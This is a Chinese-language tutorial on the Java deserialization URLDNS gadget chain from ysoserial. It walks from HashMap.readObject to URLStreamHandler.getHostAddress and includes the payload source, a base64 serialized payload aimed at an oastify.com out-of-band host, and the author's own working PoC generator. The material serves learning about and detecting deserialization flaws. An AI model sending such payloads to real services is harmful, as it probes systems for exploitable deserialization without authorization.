Back

Java反序列化-URLDNS利用链

通过 ysoserial 项目来学习一下 URLDNS 的 Gadget

ysoserial 源码

来看看 URLDNS 链的 POC 源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
package ysoserial.payloads;

...

public class URLDNS implements ObjectPayload<Object> {

    public Object getObject(final String url) throws Exception {

        //Avoid DNS resolution during payload creation
        //Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
        URLStreamHandler handler = new SilentURLStreamHandler();

        HashMap ht = new HashMap(); // HashMap that will contain the URL
        URL u = new URL(null, url, handler); // URL to use as the Key
        ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

        Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.

        return ht;
     }

    public static void main(final String[] args) throws Exception {
        PayloadRunner.run(URLDNS.class, args);
    }

    /**
     * <p>This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance.
     * DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior
     * using the serialized object.</p>
     *
     * <b>Potential false negative:</b>
     * <p>If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the
     * second resolution.</p>
     */
    static class SilentURLStreamHandler extends URLStreamHandler {

        protected URLConnection openConnection(URL u) throws IOException {
            return null;
        }

        protected synchronized InetAddress getHostAddress(URL u) {
            return null;
        }
    }
}

原理在注释里也简单描述了,可得知这条链子的触发主要依靠HashMap

注释中明确说明了"During the put above, the URL’s hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.",是hashCode的计算操作触发了DNS请求

Gadget分析

直奔HashMapreadObject方法

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
private void readObject(java.io.ObjectInputStream s)
        throws IOException, ClassNotFoundException {
        // Read in the threshold (ignored), loadfactor, and any hidden stuff
        s.defaultReadObject();
        reinitialize();
        if (loadFactor <= 0 || Float.isNaN(loadFactor))
            throw new InvalidObjectException("Illegal load factor: " +
                                             loadFactor);
        s.readInt();                // Read and ignore number of buckets
        int mappings = s.readInt(); // Read number of mappings (size)
        if (mappings < 0)
            throw new InvalidObjectException("Illegal mappings count: " +
                                             mappings);
        else if (mappings > 0) { // (if zero, use defaults)
            // Size the table using given load factor only if within
            // range of 0.25...4.0
            float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
            float fc = (float)mappings / lf + 1.0f;
            int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
                       DEFAULT_INITIAL_CAPACITY :
                       (fc >= MAXIMUM_CAPACITY) ?
                       MAXIMUM_CAPACITY :
                       tableSizeFor((int)fc));
            float ft = (float)cap * lf;
            threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
                         (int)ft : Integer.MAX_VALUE);
            @SuppressWarnings({"rawtypes","unchecked"})
                Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
            table = tab;

            // Read the keys and values, and put the mappings in the HashMap
            for (int i = 0; i < mappings; i++) {
                @SuppressWarnings("unchecked")
                    K key = (K) s.readObject();
                @SuppressWarnings("unchecked")
                    V value = (V) s.readObject();
                putVal(hash(key), key, value, false, false);
            }
        }
    }

可以看到最后一行中的hash(key),用hashMap的键名计算了hash,在此处下断点准备调试

测试代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
package test;

import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.util.Base64;

public class TestClass {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        Base64.Decoder decoder = Base64.getDecoder();
        //str为ysoserial生成的base64编码后的payload
        String str = "rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVz" +
                "aG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IADGphdmEubmV0LlVSTJYlNzYa/ORyAwAHSQAIaGFz" +
                "aENvZGVJAARwb3J0TAAJYXV0aG9yaXR5dAASTGphdmEvbGFuZy9TdHJpbmc7TAAEZmlsZXEAfgAD" +
                "TAAEaG9zdHEAfgADTAAIcHJvdG9jb2xxAH4AA0wAA3JlZnEAfgADeHD//////////3QALDdsdHBn" +
                "bW52aXQ3OTFhOTFvZm05aGxocHlnNDdzNGd0Lm9hc3RpZnkuY29tdAAAcQB+AAV0AARodHRwcHh0" +
                "ADNodHRwOi8vN2x0cGdtbnZpdDc5MWE5MW9mbTlobGhweWc0N3M0Z3Qub2FzdGlmeS5jb214";
        byte[] decode = decoder.decode(str);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(decode));
        ois.readObject();
    }
}

可以看到hashMap的key就是url,跟进hash函数

可以看到这里的key是URL类,且基类是Object,所以来URL类里看hashCode的重写方法,或者直接跟进

这里会先判断key的hashCode的值(也就是URL类的hashCode值),当值为-1时,会重新计算其hashCode的值,会调用handler的hashCode方法,而这个handler是URLStreamHandler类的对象

跟进handler的hashCode

最终在URLStreamHandler类的hashCode方法中对我们payload中传入的url进行了getHostAddress操作,这里会触发DNS查询,再往下就是具体的实现,至此就不用再跟进了

接着在反连平台就能看到这次请求

整个URLDNS的Gadget:

  1. HashMap->readObject()
  2. HashMap->hash()
  3. URL->hashCode()
  4. URLStreamHandler->hashCode()
  5. URLStreamHandler->getHostAddress()

构造条件

需要初始化一个java.net.URL对象,其中写入反连平台的url地址,将其作为key放入java.util.HashMap中,而且需要通过反射将key的hashCode的值修改为-1,如此一来URL类就会重新计算hashCode的值,才会触发handler的hashCode方法,从而触发DNS请求

自己写的poc如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.Base64;
import java.util.HashMap;

public class Main {
    public static void main(String[] args) throws Exception {
        HashMap<URL, Integer> map = new HashMap<URL, Integer>();
        URL url = new URL("http://juh1pyw7r5glamidxrvlqxq17sdj1bp0.oastify.com");
        map.put(url,1);

        Class<? extends URL> aClass = url.getClass();
        Field hashCode = aClass.getDeclaredField("hashCode");
        hashCode.setAccessible(true);
        hashCode.set(url, -1);

        Base64.Encoder encoder = Base64.getEncoder();
        ByteArrayOutputStream bout = new ByteArrayOutputStream();
        ObjectOutputStream oout = new ObjectOutputStream(bout);
        oout.writeObject(map);
        System.out.println(encoder.encodeToString(bout.toByteArray()));;
    }
}

但由于生成payload时,put方法也会对key调用hash方法,因此也会触发一次DNS请求,所以ysoserial在生成时重写了一个URLStreamHandler方法,虽然不是必须的,但更加优雅

参考

su18:Java 反序列化漏洞(一) - 前置知识 & URLDNS

Lzer0kx01:java安全入门学习之urldns链